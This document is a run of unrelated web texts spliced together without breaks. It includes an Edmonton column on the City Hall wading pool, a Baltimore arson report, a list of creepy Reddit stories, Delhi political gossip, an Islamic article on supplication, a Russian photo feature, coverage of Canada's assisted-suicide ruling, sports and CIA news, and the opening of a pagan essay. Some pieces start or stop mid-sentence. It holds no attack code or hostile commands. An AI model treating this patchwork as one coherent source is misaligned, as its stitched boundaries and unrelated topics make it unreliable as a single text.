XpressWest said it was anticipating the completion of environment work to develop the Southern California portion of the rail line, with environmental approvals expected by September.
XpressWest is one of at least three privately financed high-speed trains proposed to be built in the United States over the next few years. Companies in Texas and Minnesota also plan to tap private cash from investors globally, with help from foreign train makers and governments eager to export train technology.
The projects rely primarily on partnerships with Japanese or Chinese firms that face saturated train markets at home.For 25 wonderful years, the City Hall wading pool has been the glory of downtown Edmonton. Every summer, people flock there to wade and splash. It is our most beautiful, our most delightful, and our most popular downtown amenity. It makes City Hall feel accessible, joyously democratic, a place for the people.
So I was horrified to read Elise Stolte’s scoop Tuesday in the Journal telling us we’re spending $13 million to retrofit the pool as a much shallower fountain. Currently, the water is 40 cm deep, up to my knees when I wade in. The new pool would be 15 cm deep, barely up to my ankles.
City councillors weren’t given any advance warning, beyond a vague memo dated Sept. 22, 2017.
“The city hall fountain will also undergo construction in 2018 to addressing (sic) legislated safety and accessibility improvements,” it read.
That was it. No mention that the pool, as a functional pool, was to disappear. Indeed, the rather misleading artist’s rendering that councillors received showed kids frolicking in water far deeper than 15 cm.
“Honestly, the first I heard about the design was through Elise’s reporting,” says Ward 4 Coun. Aaron Paquette.
“We’re supposed to be making the downtown more ‘family-friendly,’ but I don’t see what’s family-friendly about a wading pool that barely covers your toes. I understand the desire to make things safe, but you kind of cross the line when you make something so ‘safe’ it isn’t fun or interesting anymore,” Paquette said.
But as far as city administration is concerned, the pool isn’t a pool. Jason Meliefste, branch manager for infrastructure planning and design, said the city is restoring the site to architect Gene Dub’s original vision.
“It was never a pool,” he says. “It was a fountain. We have never formally recognized its use as a pool.”
Meliefste says officials actually considered removing all standing water. The compromise was to leave 15 cm of water in the basin.
“Anything more could induce a drowning hazard.”
This is ahistorical nonsense, of course.
“It was completely designed for people to go into the pool,” Bob Walker, City Hall’s original project manager, said Wednesday. “It’s interactive. Gene always knew people were going to go into the pool.”
Dub agrees.
“The intent was always to be a pool. We wanted it to act like a pool and feel like a pool,” he said. “I think the pool, especially when it has kids in it, is one of the highlights of that whole complex. When you get 100 kids in that pool laughing and splashing, it’s one of the most joyous sights. But I’m afraid they’re going to lose that. That’s my concern. Will it still feel like a pool?”
So what’s really going on here?
Back in 2014, the Progressive Conservative government brought in new regulations for pool safety. The rules required lifeguards, which the City Hall pool doesn’t have. And under the new regulations, the pool’s water was supposed to “turn over” every two hours. But the existing pool filtration system only turned over the water every three hours. Alberta Health Services granted the city repeated waivers. AHS annual inspections never found any problems.
“The water quality has always been maintained,” said Dr. Chris Sikora, medical officer of health for AHS’s Edmonton Zone. “There were never any microbiological concerns.”
Still, the pool wasn’t conforming with the new provincial regulations. The city’s current exemption expires next month. Sikora says lowering the water depth to 15 cm will reduce water volume and speed the filtration system. But, he said, it will still be a pool, and need to conform with all pool regulations.
“That is the challenge of a pool that is wonderfully, freely accessible to the public.”
It’s ridiculous. Water quality has never actually been a problem. The city has no record of anyone having a serious accident at the pool. (Perhaps because it has no records.) And as far as I can tell, after searching the Journal’s archives, no one has ever drowned there, in all its 25 years.
By all means, let’s bring the pool into safety compliance, with a better filtration system, with lifeguards on the pool deck, with enhanced security and better record-keeping. But it’s heartbreaking madness to destroy one of the great good joys of an Edmonton summer without any council debate or public consultation.
But hey, we can always wade at the legislature pool. To be sure, the water there is even deeper than at City Hall — it’s a glorious 48.26 cm, a full foot-and-a-half deep. And the water change rate there is every eight hours, not every two or three.
But turns out, the legislature pool is on Crown land. And AHS has no authority to enforce the province’s own rules on the province’s property.
Meantime, Paquette says he’s going to ask officials to consider other options.
“I think that’s the only responsible thing to do,” he said. “We need to look at the evidence seriously. But this is something people use. Everybody loves it.”
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www.facebook.com/EJPaulaSimonsPolice were looking for a 26-year-old man suspected of firebombing a house in East Baltimore early Saturday, starting a blaze that killed two teens and injured six people, including two children.
Antonio Wright was identified as "Public Enemy No. 1" on Saturday night for his alleged role in the blaze in a Johnston Square rowhouse, which police said appears to be linked to a shooting two days earlier.
Investigators said they believe Wright threw two Molotov cocktails into the building at 1233 Greenmount Ave. in the Johnston Square neighborhood, leaving eight people trapped inside. Detectives identified him as a suspect after interviewing witnesses, following tips and reviewing evidence at the scene, police said.
"The individuals inside the home were apparently targeted," police spokesman T.J. Smith said earlier Saturday. "It seems quite obvious at this point that the fire was deliberately set."
Baltimore police released a surveillance video related to the firebombing case. Baltimore police released a surveillance video related to the firebombing case. SEE MORE VIDEOS
About 10:45 p.m. Thursday, police responded to the same block and found an 18-year-old man suffering from a gunshot wound to the groin.
A preliminary investigation showed the man and his family were going into a home when a masked gunman came out of an alley and opened fire before fleeing, police said. The wounded man ran for safety into the rowhouse that was the scene of Saturday's fire.
"There are psycho predators who are out there killing people and who have to be held accountable," Smith said.
"They went under cover of darkness while a family was in their home sleeping and lit a fire. They could potentially have killed eight people."
Fire Department Capt. Mike Roth said a dog brought to the scene Saturday detected the presence of a chemical often found in accelerants.
By the time firefighters reached the second floor of the burning building, he said, two male victims — about 17 or 18 years old — were already dead.
A 20-year-old woman who attempted to flee the flames by leaping about 30 feet from a third-floor window to the sidewalk below suffered life-threatening injuries, police said.
Two people died after a fire in East Baltimore early Saturday morning, and city police said they are investigating the incident for arson. (Kim Hairston, Ulysses Munoz / Baltimore Sun) Two people died after a fire in East Baltimore early Saturday morning, and city police said they are investigating the incident for arson. (Kim Hairston, Ulysses Munoz / Baltimore Sun) SEE MORE VIDEOS
Five other people — two boys ages 4 and 11, two girls ages 16 and 17, and a 38-year-old woman — escaped the fire and were being treated at area hospitals; they were expected to survive, Fire Department spokeswoman Blair Adams said.
Adams did not confirm any of the victims' identities.
The fire broke out at 4:57 a.m. on the ground floor, officials said, and within minutes the whole building was engulfed in flames.
About a dozen firetrucks responded to the single-alarm fire, which was brought under control by 5:20 a.m., Roth said.
The fire did not spread to adjoining buildings.
"I don't like it that children were living there," said a neighbor, Charles Chapman, 73. "They don't deserve this. They didn't do nothing wrong."
Anyone with information about Wright's whereabouts was asked to call 911 or text a tip to 443-902-4824.
Johnston Square resident Bruce Brown said he was listening to the radio Saturday morning in his apartment when he learned that a fire had killed two of his neighbors just hours earlier. He went outdoors to pay his respects.
"They didn't have to die like that," he said. "It's a hell of a way to go."
Mayor Catherine Pugh arrived at the scene Saturday morning.
"Any death is heartbreaking," she said. "We live day by day. I hope that all of Baltimore prays for the victims, for their families and for our city."
In September, eight people — including a 3-year-old girl — were shot in the 700 block of E. Preston St., a block away from where the fire occurred Saturday morning.
Police said that shooting was an act of retaliation for a Labor Day shooting that left one person dead. One arrest was made in that case, according to police.
mary.mccauley@baltsun.comTop 10 creepiest things Reddit users have seen (Picture: Alamy / File)
‘Ask Reddit’ is one of the more entertaining and educational features on the user-aggregated website, encouraging users to post ‘thought-provoking and inspiring questions’.
This week Reddit users were asked: ‘What is the scariest/creepiest thing you have seen/heard?
‘I want to see everything!’ explained user Youdonotsay. ‘Pictures, videos, gifs, sounds, or even a story, I don’t care. If it’s creepy, post it. I love the creepy/scary stuff.’
Unsurprisingly there were quite a few spooky responses, we’ve rounded up ten of the best.
Creepy: Damien in the remake of The Omen (Picture: Sarah Wilby Creative Publicity)
10. Hunter
‘My old co-worker had a son named Hunter that was 4 or 5. She said that Hunter would have bad dreams and that he would sleep with his dad when he got scared.
‘One night his dad woke up because he heard Hunter calling him. But he was calling him by his name, not ‘dad’. So he went to his room and he was asleep.
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‘He woke him up and said “Hunter, you were calling me. Is everything okay?” And Hunter said, “Dad, when they call you you’re not supposed to answer.” and fell back asleep.
‘He asked him about it in the morning but he said he didn’t remember saying it.
‘I get chills when I think about it.’ – LumosTheNox
9. Car accident
‘There is a thread somewhere that described a guy taking a scenic route in the middle of the night to get to a certain town. He was driving up a hill, and came upon a car accident with two cars on the side of the road and a person lying down on the ground.
‘For some reason he caught a bad vibe from it, and slowly drove past the scene. He stopped about 100 feet past it, looked behind him, and the person on the ground was standing up and staring at him, with about 20 other people coming out of the woods.’ – Newbs280
Attics can sometimes be creepy (Picture: File)
8. Attic
‘Boyfriend lived in a house that made no sense–there was a light switch on a baseboard that worked a light two rooms away, for instance.
‘He decided to see if there was room in the attic space for some boxes. So Boyfriend opens the hatch-thing, pulls down the ladder, and goes up. Pulls the chain for the light to come on. The bare bulb is over a dusty room empty except for a rusty, metal children’s high chair.
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‘Boyfriend clicked the light back off, came back down the ladder, and said, “No, we’re never going up there.”‘ – Kittae
7. Shower
‘Woke up one night around 1am, heard the shower was on… I first thought it was my brother, he works night shifts, so thought he had came home late and was in the shower… It went on for about half an hour until I got up and went to see wtf he was doing…
‘No one was in the shower, my brother wasn’t home yet, I was the only one in the house. Still to this day, i have no idea how it turned on or who did it..
Almost 5 years later I still think about it… Even writing this now I feel like turning every light on in the house ahah whyyy do I do this to myself!!’ – designerlogic
Anne Heche in the famous shower scene in Psycho (Picture: Universal)
6. Crayon
‘My parents bought their first house back in 1972. It was a fixer-upper, but they decided to move in right away and fix things as time/money permitted.
‘Within a few days of moving in, the new neighbours came over to introduce themselves. They also let my parents know that the previous owners had moved out after a nasty divorce. They had lost their second baby from SIDS, and their relationship went downhill from there.
‘My parents were horrified, more so because they were newly pregnant and couldn’t imagine going through such a thing.
‘They eventually pretty much forgot all about it. Life went on. They were in love with their new life and their new house.
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‘In preparation for the baby, they decided to wallpaper the nursery. Now, my Dad told my mom there was no need in wallpapering the inside of the closet, but she insisted. She was kneeling down, scraping off old paint inside of the closet when her eyes fell upon something that made her blood turn to ice.
‘Written in crayon, at about eye level for a kindergardner, in childish scrawl was: I KILLED THE BABY.’ – Reddit user
MORE: Top 10 creepiest things children have said to their parents
5. Karen Wetterhahn
‘The story of Karen Wetterhahn.
‘Essentially, she was a chemistry professor at Dartmouth. She was working with an organic mercury compound that was relatively unknown at the time. A drop spilled on her gloved hand. No big deal usually. Turns out dimethyl mercury penetrates latex gloves really quickly, and a drop on the hand is a death sentence. She slipped into a coma about 6 months later and then died.
The really terrifying part is the description of her coma.
‘One of her former students described it as not being “… the kind of coma I’d expected… She was thrashing about. Her husband saw tears rolling down her face. I asked if she was in pain. The doctors said it didn’t appear that her brain could even register pain.”‘ – larsendt
A group of divers had a close encounter with a shark (Picture: File)
4. Scuba dive
‘This was a few years ago on a night scuba dive. There were 8 of us in the group including our dive master and his assistant. We had just finished our dive and were gathered up in a circle ready to ascend and get out of the water when my dive master freezes. He takes his flashlight and pointing it outside our circle of divers he catches something circling us with the beam. Turns out it was a 12 foot long great white shark.
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‘At this point half of the group are trying to keep the shark illuminated as it circles us and remarkably everyone stayed calm. The only things going through my mind were iterations of these two thoughts, “don’t look like a yummy delicious fatty seal, and that I hope I taste terrible.”
‘My dive master gets our attention and slowly puts his thumb up and then makes an upward motion. We all begin to ascend and the shark kept with us until we were maybe 10 feet from the surface. Then it turned off into the darkness and was gone. I did not go back into the ocean for about a week after that.’ – Caboose2701
3. Babysitter
‘So one day, this girl was called over to babysit. She did it a lot for these people, so it was routine for her. Anyways, she was told to put the kids to bed at 9, and she did. After she put the [kids] to bed, she started watching TV and doing homework, waiting for the parents to come home. But then, she started hearing some noises coming out of the basement, like pans falling and stuff.
‘She just ignored it, and thought it was the washing machine or something. Anyways, a little later, she starts hearing the noises again. She decides to call the police, and tell them she was hearing noises coming out of the basement at the house she’s babysitting at.
‘The lady at the station told her there’s a patroller in her area, and that he’ll be at the house in about 20 minutes. Anyways, in about 5 minutes, she hears a knock on the door. She answers, and it’s a full swat team. She asked, “I thought they were just sending a patroller..” and one of the guys told her “after you hung up the phone, we heard a second phone on the line hang up”.
‘Ended up there was a man in the basement, listening to the conversation. The lady in the station waited and heard him hang up, then immediately sent the swat team to help. They went downstairs and caught him.’ – bondmaxbondrock
I see dead people: Haley Joel Osment in The Sixth Sense (Picture: Reuters)
2. Bike ride
‘I was about 15 minutes from finishing the night shift at work when there was a massive crash on one of the windows in the office so I get up and go to check it out. Someone has thrown quite a sizable rock through one of the windows on the front of the building.
‘This is made especially weird because I’m working in the industrial district at 11:30 at night with none of the other businesses open. I go back to my desk, put a quick call through to security to let them know and decide to head home.
‘As I’m leaving the building I’m freaking myself out about it more and more and end up running to my car, getting in and taking off. I’m almost home and I’ve started to calm down a bit when I realise that I didn’t unlock my car when I got in. It had been unlocked the whole time. I do a quick check with my hand in the backseat for any possible murderers that might be hanging around there but there’s nothing there.
‘Fast forward 30 minutes: I’ve called a friend of mine who says he is out drinking so I decide I’m going to join him. I jump on my bicycle and start riding over. I’m doodling along the road on my bike, it’s a nice night and I’m in no big rush, just enjoying the moonlight when I hear someone riding behind me. I straighten up and stick to one side of the road. He passes me really slowly and, when he is right beside me, he shoots me a smile I can describe as purely f*****g insane. I kind of flinch and am taken aback as he rides on. That’s when I realise. He is riding my mom’s bike.
‘Needless to say, I sprint home. When I get there, sure enough her bike is missing and one of my car’s doors is open. The back left one. I was driving, and had no need to open that door.’ – cranklowza
1. Vacation
‘I was on vacation in Ithaca with my boyfriend at the time. We had literally, I’m talking 10 minutes, just gotten into town and stopped at a suspension bridge near Cornell’s campus. I’m terrified of heights and, so, my boyfriend was coaxing me step by step over the bridge. It was gorgeous and we stopped at the middle to take a picture.
‘On the side we had come from there was a parking lot with steps leading to the bottom of the gorge but on the far side there were hiking paths with no barrier. A woman walked past us and offered to take a picture for us.
‘We declined and she smiled and walked quickly to the far side of the bridge where she smoothly jumped off into the gorge. There was not a second of hesitation, it was almost like she expected the path to keep going. The sound of a person hitting the ground from a jump like that sticks with you.’ – spectre_alabamaLt General Baijal not one for niceties ‘reduces’ Kejriwal role
Even as the Supreme Court judgement is awaited on the powers of the elected government in Delhi, the Lt Governor’s office has demoted chief minister Arvind Kejriwal to the status of an official. Kejriwal is listed as an “official’’ in the notices that the LG’s office sends out for meetings.
The word official normally applies to bureaucrats. Kejriwal is an elected leader who heads the Delhi government. In the best traditions of democracy, the chief minister should get a separate mention in communications from the LG’s office. Surprisingly, previous LG Najib Jung followed this tradition despite his rocky, often hostile relationship with Kejriwal.
But current LG Anil Baijal doesn’t believe in niceties. Till the court clears the air on the powers and status of the elected government, Kejriwal is seen as just another official of the Delhi Administration. This follows the High Court order that the head of the Delhi government is the LG and the chief minister has to route all decisions and files through him.
The seating protocol at meetings reflects the same principle. Kejriwal is seated to the LG’s right while the LG’s principal secretary is seated to the left. In other words, the chief minister is seated at par with the officials, instead of being given a special chair as the elected government head.
The war in Delhi continues unabated although the volume has reduced after Kejriwal stopped his very public quarrels with the LG.
Trouble when scribe’s phone rings
When a journalist’s mobile phone started ringing in the middle of defence minister Nirmala Seetharaman’s press conference in South Block, trouble erupted.
Journalists are prohibited from taking their mobile phones into the defence ministry for security reasons. The defence ministry is a super sensitive zone. However, in deference to media needs, officials in South Block used to look the other way and did not stop journalists from carrying their mobile phones into the ministry Their only condition was that correspondents should be discreet about it.
Journalists honoured the informal code so there was never any problem. But at Seetharaman’s recent press conference, one of the media persons broke the understanding. Not only did his phone ring, he kept talking into it, relaying breaking news to his channel.
Defence ministry officials were outraged. How did the journalist bring his phone into the ministry, they wanted to know. The officials who bore the brunt of the anger were those from the public relations department.
The result of the fracas is that the informal special privilege of carrying mobiles in has been withdrawn. Journalists are now strictly debarred from bringing their phones in. Never mind if they can’t send out breaking news. And officials of the public relations department are having to answer tough questions on why they allowed journalists a privilege denied to all non-government officials who enter the sensitive defence ministry zone.
Pranab returns to Bangladesh
Pranab Mukherjee began his term as President of India five years ago with a visit to Bangladesh. That was his first foreign tour. Now his first foreign trip in retirement is also to the same country.
It’s a sentimental journey. Bangladesh happens to be his sasural. His late wife hailed from Bangladesh, known as East Bengal before Partition. So in a way, his forthcoming trip is a visit to his in-laws’ home.
Mukherjee is travelling at the invitation of a prominent university in Bangladesh where he will deliver an address. But of course, a meeting with Bangladesh Prime Minister Sheikh Hasina is very much on the itinerary.
They will meet not as prominent political leaders of their countries but as old friends. When Sheikh Hasina’s family took refuge in India after her father, late Prime Minister Sheikh Mujibur Rahman’s assassination in 1975, Mukherjee and his wife looked after them.
In fact, Mukherjee’s wife was the local guardian of Hasina’s children as they studied here in New Delhi. The ties between the families go back to that time. And they have kept up the relationship.
Bowles name spells trouble for officials
English standards are deteriorating in the ministry of external affairs. The first press release the ministry’s XP division sent out for Prince Charles’ visit to India misspelt his wife, Camilla Parker-Bowles’ name.
The division was flooded with messages from amused journalists who pointed out the spelling error. The error was particularly embarrassing because instead of Bowles, the press release wrote the name as bowels, which has a completely different meaning.
Red-faced officials in the XP division had to hurriedly issue a fresh press release in which the spelling of name was corrected.
Kids throwing up prompts Delhi govt
It was the sight of kids vomiting from their school buses that prompted the Delhi government to quickly close down all the 6000 schools in the city because of smog.
The government was hoping to avoid disrupting the school calendar. So the education department ordered the closure of only nursery sections. But the next morning as Delhi education minister Manish Sisodia was driving past India Gate, he saw two school buses ahead of him. And from the windows of those buses, several kids were vomiting.
Sisodia realized he had to address the pollution problem urgently and with drastic measures. So even before the pollution figures for that day came in, he issued an order shutting all schools till the weekend.
This is the plight of school children in the Capital city. It’s a shame that those responsible for providing citizens a good quality of life don’t seem to care about the annual problem of smog in winter across north India.As believers we know that God is above the heavens, above His creation yet He is unrestrained by any of physical dimensions.
God is close, very close, to those who believe in Him and He answers their every call.
God knows all of our secrets, dreams, and wishes, nothing is hidden from Him. God is with His creation by His knowledge and power.
Why then do some du’as (supplications) remain unanswered?
A mighty question indeed and even the first Muslims were concerned with the answer. Abu Hurairah, one of the Prophets closest companions said that he heard Prophet Muhammad (peace be upon him) saying:
“A person’s duas will be answered so long as he does not pray for something sinful or for the breaking of family ties.” (Muslim)
From this we learn that if the dua (supplication) is inappropriate or one is asking for something sinful God will not respond.
If the person making dua communicates with God in an arrogant manner, perhaps complaining or raising his voice in anger or petulance God may not respond.
Another reason for God not responding to dua is when the supplicant begs God for help or comfort yet he has surrounded himself with unlawful wealth, food, or clothing. One cannot continuously engage in sinful behavior and activities without even a second of remorse yet at the same time expect God to answer his duas and requests.
Important Reminders
Prophet Muhammad told his companions that:
“God is far removed from every imperfection and only accepts that which is lawful.”
God commanded the pious to follow the same commandments as He gave to the Messengers.
{O (you) Messengers! Eat of the Tayyibaat [all kinds (lawful foods which God has made lawful (meat of slaughtered eatable animals, milk products, fats, vegetables, fruits)] and do righteous deeds. Verily, I am Well-Acquainted with what you do} (Al-Mu’minun 23: 51)
{O you who believe! Eat of the lawful things that We have provided you with} (Al-Baqarah 2: 172)
Thereafter Prophet Muhammad mentioned:
“A man who had travelled on a long journey, he was disheveled and covered in dust and stretched his hands towards heaven “O Lord, O Lord”, but his food was unlawful and his drink was unlawful so how was his dua to be accepted?” (Muslim)
The man described here had some of the characteristics that make dua (supplication) more likely to be accepted… It can be deduced that on account of this man not living his life within the lawful limits his dua was not accepted.
Another important point to remember is not to be hasty. A supplicant must never give up, he must never say:
“I pray and pray, I make dua after dua but God does not hear me, He does not respond!”
Just when a person feels like giving up he must make more dua, ask God again, and again for more and more. There is no power or strength except with God alone. There is no solution or outcome except from God. When supplicating to God a person must be both resolute and sincere.
“The dua of any one of you will be answered so long as he is not impatient and says, ‘I made dua but it was not answered.” (Al-Bukhari & Muslim) “Let not any one of you say, ‘O God, forgive me if You will, O God have mercy on me if You will. Let him be resolute in the matter, whilst knowing that no one can compel God to do anything.” (Al-Bukhari & Muslim)
It is also important to understand that a response to a dua may not be exactly what you expect. God may respond and fulfill the desire of a person immediately. Sometimes duas are answered very quickly. However sometimes God responds in a different way, He might keep some evil away from the supplicant, or He will reward him with something good but not exactly what the supplicant asked for. It is important to remember that God knows what the future holds and we do not.
{… it may be that you dislike a thing which is good for you and that you like a thing which is bad for you. God knows but you do not know} (Al-Baqarah 2: 216)
Sometimes God will save his response to a dua until the Day of Resurrection when a person will be most in need of it.
Dua (supplication) has unlimited power, it can change many things and it is an important act of worship that we must never lose faith in. Making dua demonstrates our great need for God and it recognizes that He is able to do all things. He gives and He withholds but when we trust God completely we know that His decree is just and wise.
Make dua and be patient, for God will answer, in the best possible way, at the best possible time. Never give up hope, never stop asking, and ask for more and more and more. Ask for good in this world and in the hereafter. Dua is the weapon of the believer.
{So We answered his call, and delivered him from the distress. And thus We do deliver the believers (who believe in the Oneness of Allah, abstain from evil and work righteousness)} (Al-Anbiya’ 21: 88)
{And He answers (the supplication of) those who believe (in the Oneness of Allah – Islamic Monotheism) and do righteous good deeds, and gives them increase of His Bounty. And as for the disbelievers, theirs will be a severe torment} (Ash-Shura 42: 26)
Source: Islamreligion.com.Old Believers, Bolsheviks and bourgeoisie: The many faces of bygone Russia captured on camera by one of first photojournalists
Pictures taken by Maxim Dmitriev - one of the founders of the photojournalism genre
Among images: White army general, marketplaces and 'Old Believers'
Many show scenes in cities along the Volga river
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A pair of weather-beaten woodsmen stare at a camera as they lean against a log pile in the bitter cold; in another image, a general resplendent in his military regalia strikes a pose.
These remarkable photos, from the late 19th and early 20th century, form part of a collection showing the many faces of Russia.
As well as depicting everyday scenes of city life - such as gatherings at marketplaces, and tramps in 1897 - they also focus on the political upheaval of the time, the rise of the Bolsheviks and the Russian Revolution.
There is even a shot of the nation's first car from the late 1890s - which looks more like a carriage than an automobile.
The pictures were taken by Maxim P Dmitriev - one of the founders of the photojournalism genre - who was a member of the Russian Photographic Society.
Woodsmen from late 19th century Russia, as photographed by Maxim P Dmitriev, one of the founders of the photojournalism genre
Among Dmitriev's subjects was General Voitsekhovsky (left), who fought for the White army against the Bolshevik reds during the Russian Civil War of 1917-23; right, military commissioner Orlov in 1928
People gather at a marketplace in 1897. Dmitriev travelled the length of the Volga river to take his photographs Oznobishin, a merchant caught on camera by Dmitriev, who observed society at all levels
Tramps in 1897 in Nizhniy Novgorod, now Russia's fifth largest city
He travelled to cities along the Volga river and received numerous awards in Paris, Amsterdam, Chicago and New York for his pioneering work.
Among his subjects was General Voitsekhovsky, who fought for the White army against the Bolshevik reds during the Russian Civil War of 1917-23.
Another shows a group of Old Believers deep in prayer.
Taken in 1897, they were members of a fundamentalist Russian orthodox sect which had been persecuted since the days of Peter the Great in the early 18th century.
When the Bolsheviks swept into power, many Old Believer communities fled to Siberia to escape religious persecution.
Life for them would become even worse during the Stalinist purges of the 1930s when Christianity and other religions were outlawed.
Russia's first car, seen here in 1897, had rubber tyres on wooden wheels, and had a top speed of 13mph
Children share a bowl of food in Bolshoi Murashkin in the early 1900s
Huge crowds gather at Romodanovsky railway station
Policemen of Nizhniy Novgorod, which was the trade capital of the Russian Empire by the mid-19th century
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ALS, sought to have the ban on assisted suicide ruled unconstitutional. The Supreme Court dismissed the case. ( CHUCK STOODY / THE CANADIAN PRESS file photo ) Lee Carter, with her husband Hollis Johnson on Friday, called the ruling “a huge victory for Canadians and a legacy" for her mother Kay Carter, one of two B.C. women who launched the case. ( Sean Kilpatrick / THE CANADIAN PRESS )
It set out circumstances where the country’s top court said assisted suicide is constitutional — under a physician’s care, for consenting adults who determine they cannot tolerate the physical or psychological suffering brought on by a severe, incurable illness, disease or disability — a stunning reversal of the court’s 21-year-old ruling in the Sue Rodriguez case. Justice Minister Peter Mackay said the federal government needs to absorb the ruling on a matter so “sensitive” for many Canadians. He hinted it could take the whole year granted by the court to develop a legislative response. Neither the NDP nor Liberals stated a clear party position, but both hinted at the need for federal guidelines to protect the vulnerable. In the 9-0 judgment, the court declared the Criminal Code’s absolute ban on assisted suicide goes too far. Its attempt to protect the lives of “vulnerable people” also prevents competent, consenting adults suffering “grievous and irremediable medical conditions” from making core decisions about how they live and die, and so breaches three of the most basic rights: to life, liberty and security of the person, all enshrined in Sec. 7 of the Charter, and is not justified in a free democratic society.
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The judges declared the right to life does not mean individuals “cannot ‘waive’ their right to life.” The ruling is not limited to disabled individuals who are unable to kill themselves unaided, nor to cases of terminal illness or people near death. Instead, the ruling applies broadly in cases of a major illness, disease or disability that inflicts intolerable physical or psychological suffering on a patient. The court said nothing in its ruling would compel a physician to act against his or her conscience or religious beliefs, and it is up to lawmakers to balance conflicting rights. The decision was signed by The Court, as a signal of a powerful consensus among all nine judges including the retiring Louis LeBel, and six of Prime Minister Stephen Harper’s appointees. The court suspended the effect of the ruling for 12 months. Parliament now has several options:
It could enact a new law laying out a scheme for physician-assisted suicides — setting out guidelines for determining consent, timelines, residency requirements, or the extent of medical assistance for example, as Quebec has done.
It could decide not to draft a new law, allowing the ruling to stand as an expression of principles and leave details up to provinces or medical regulatory bodies and authorities to oversee.
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If Parliament does not draft a new law within that time, the effect of the decision would be to allow physician-assisted suicides within those limited circumstances. But it would not permit anyone to aid individuals to commit suicide at any time. The general prohibition still stands. A federal government could invoke the Constitution’s little-used escape or override clause that allows governments to legislate “notwithstanding” basic rights in the Charter. In an election year, that’s seen as political dynamite. University of Ottawa law professor Carissima Mathen said unlike when the abortion law was struck down in 1989, the overall law against assisted suicide still stands, so a national regime that codifies the Supreme Court ruling would be an appropriate legislative response rather than no law at all, said Mathen, “and you need co-operation with relevant health authorities to ensure the system is managed competently.” She said it would be “very dangerous and unfortunate” if there were no law, leaving disputes to be settled in individual prosecutions by a trial judge “who will basically be told by a defendant that applying this law in this case is unconstitutional. That’s what would happen if they do nothing.” She said use of the “notwithstanding” clause to override the court’s findings would be out of step with a majority of Canadian public opinion on an issue that affects many families directly. Already social conservatives who support the Harper-led government are calling on the Conservatives to do just that. Campaign Life Coalition urged Parliament to invoke the override clause, Sec. 33 of the Charter, or enact a law “that protects vulnerable Canadians from assisted-suicide.” Others slammed the high court for judicial policy-making. The family of Kay Carter, one of two B.C. women at the heart of the challenge, was overjoyed at what daughter Lee called a “huge victory for Canadians and a great legacy for (her mother) Kay.”
For them, and the civil libertarians and right-to-die advocates who joined their fight for the change, it was a clear and decisive victory. Kay Carter and Gloria Taylor, another B.C. woman, suffered from different debilitating conditions when they launched the landmark case. Both have since died. Carter’s family escorted her to Switzerland which allows physician-assisted suicide. The British Columbia Civil Liberties Association took up their challenge. The court said the litigation was in the broad, national public interest and deserved full legal costs — estimated to be in the millions — to be paid by the federal government with some costs to be paid by the government of British Columbia. But disabled advocates agonized. In a statement, the Council of Canadians with Disabilities (CCD) and the Canadian Association for Community Living challenged governments to maintain or expand home-care services and supports, a national suicide prevention strategy for persons with disabilities and degenerative conditions, and “most critically” questioned whether governments would provide access to palliative care as a universally available service at the end of life. CCD spokeswoman Catherine Frazee, shaken by the ruling, said “disabled people are very much at risk and I think we have to rise up and assert that disabled lives matter.” Friday’s decision overturned the court’s 1993 ruling in Sue Rodriguez’s bid for help to end her life before ALS made it impossible to even ask. The high court said it was time to revisit that because of legal changes in how courts analyze the constitutionality of statutes, and evidence based on the international experience that now shows how “safeguards” can be built into a “permissive regime” to protect vulnerable people from error or abuse. It rejected a notion of a “practical slippery slope.” With files from Bruce Campion-Smith, Les Whittington, Alex Boutilier
A look at Canada's debate about the right to dieHe may not be perfect, but Petr Mrazek has seemingly become the go-to guy for the Detroit Red Wings.
The team dropped a 2-1 decision to the Ottawa Senators in a shootout Tuesday, but Mrazek's play was strong enough to gain him the confidence of head coach Mike Babcock and control of the net.
"I thought Mrazek did a real good job and he'll get the start against Boston," Babcock told reporters after the game. "Then his job is to do it again. That's the great thing about the goaltending position, if you do it every night, you get to play every night."
It appears Babcock is prepared to ride Mrazek until he falters dramatically.
The 23-year-old has suited up in his team's last four games despite a save percentage of.876 over that span. Though Jimmy Howard's.842 save percentage over his past four games indicates why. Both goalies have been pulled at least once during those games.
In the meantime, the Red Wings dropped 10 of 15 games in the month of March, and while they still hold the third spot in the Atlantic Division, the team is now just two points ahead of the Boston Bruins.
The Wings are hoping to make the playoffs for the 24th straight year, but will need a strong finish to the season, and that starts with the new designated number one goalie.....................................................................................................................................................................................
The CIA has taken a special interest in the University of New Mexico, announcing Thursday that the school is its first of five American colleges and universities that will be targeted for student recruitment into the intelligence agency.
CIA Director John Brennan made the announcement in person to about 300 people on campus before fielding questions from Emile Nakhleh, head of the school’s new Global and National Security Policy Institute, and members of the audience.
The other four schools have yet to be announced, making UNM the testing ground for the CIA’s recruiting effort intended to “cultivate an applicant pool” that is as diverse as America is.
“Improving diversity at CIA is not just a moral imperative, but a mission imperative … to collect on a target anywhere around the world.” Brennan told the crowd.
Nakhleh said after the announcement that the school is not paying or providing the CIA with an office or any funds, only working with it to allow the CIA to offer experiences and recruiting information to students to make them more hireable for federal security jobs.
That will probably include the CIA hosting “simulations, discussions, problem solving, exchanges with professions” in the field a student is interested in, he said. A recruiting officer will also likely visit the campus at regular intervals to be available to students – and faculty – from any department on campus.
Brennan said Thursday that UNM was selected because of the diversity of its programs offered, its relationship and proximity to Sandia National Laboratories and Los Alamos National Laboratory, and the school’s diverse student population.
The recruiting pitch and effort at UNM has riled some on campus, including faculty and staff at the Latin American and Iberian Institute who sent a memo Thursday expressing concern that the relationship between the school and intelligence agency could “interfere with the ability of students and faculty to safely and effectively conduct research in Latin America.”Trolltyggr: Working with the Giant Races
(Note: This article is based on the collected experiences of various tranceworkers, seidhworkers, and pathwalkers who have dealt closely with Jotunkind for some years, including myself. Neither I nor the people who I interviewed for this article have any investment in anyone else believing what we say; make your own decisions. There are several good articles and book-chapters around which compile much of what the lore can tell about Jotunkind, and this is meant to be something entirely different: collected personal experience. The experiences that I have had with the Jotnar - dealing with them through journeying, tranceworking, pathwalking, any of the various ways of visiting the Nine Worlds - have been startlingly like those of the other people that I've spoken to about it, and even the ones that I've interviewed for this article. The similarities are astounding, and they create a clearer picture of what it is to interact with this nonhuman race. We hope this writing fills in the gaps left by the lore, as well as illustrating how things have changed in the Nine Worlds since it was written. We humans tend to assume that it is a static place, some Never-Never-Land that doesn't change, but it is just as much a dynamic place as our own world, even if it does run on different rules. Things are not what they were millennia ago, and our collective experiences support this as well. And for more information on the Giant-race, check out the Rokkr/Giant section on Northern Paganism, plus many of the shrines on that site.)
I. Forces of Nature
